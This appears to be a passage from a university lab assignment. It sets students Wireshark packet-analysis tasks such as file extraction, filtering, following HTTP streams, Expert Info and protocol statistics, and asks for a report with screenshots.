1. Capture network traffic using Wireshark.
2. ldentify and extract transferred files from HTTP, SMB, or TFTP streams.
3. Document findings with screenshots.

Task 2: Time Display Format Analysis

1. Change Wireshark’s time display format to UTC.

2. Compare and analyze packet timing differences.

3. Submit observations with relevant screenshots.

Task 3: Expert Info Analysis

1. Identify anomalies using Wireshark’s Expert Info feature.
2. Classify errors, warnings, and malformed packets.

3. Provide a detailed explanation of identified issues.
Task 4: Applying Filters for Traffic Analysis

1. Use “Apply as Filter” to isolate specific network traffic.

2. Utilize conversation filters to analyze related packets.

3. Provide examples and screenshots of applied filters.
Task 5: Analyzing HTTP Streams

1. Follow an HTTP stream to reconstruct application-layer data.
2. ldentify and document potential sensitive information.

3. Submit a report including step-by-step findings.

Task 6: Statistical Analysis
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1. Use the Statistics menu to analyze protocol hierarchy and endpoints.

2. Extract key insights about network traffic patterns.
3. Document results and interpretations.

Task 7: Resolving Addresses and Protocol Hierarchy
1. Use Wireshark to resolve IP addresses to hostnames.

2. View the protocol hierarchy to analyze network traffic structure.
3. Submit a summary of key findings.

Submission Requirements:
e A detailed report including:

o Screenshots of each task performed.
o Explanation of results and insights gained.
o Summary of findings and security recommendations.

e  Submit the report by Next Lab.

This assignment will help students develop practical skills in network packet analysis using Wireshark.

Good luck!
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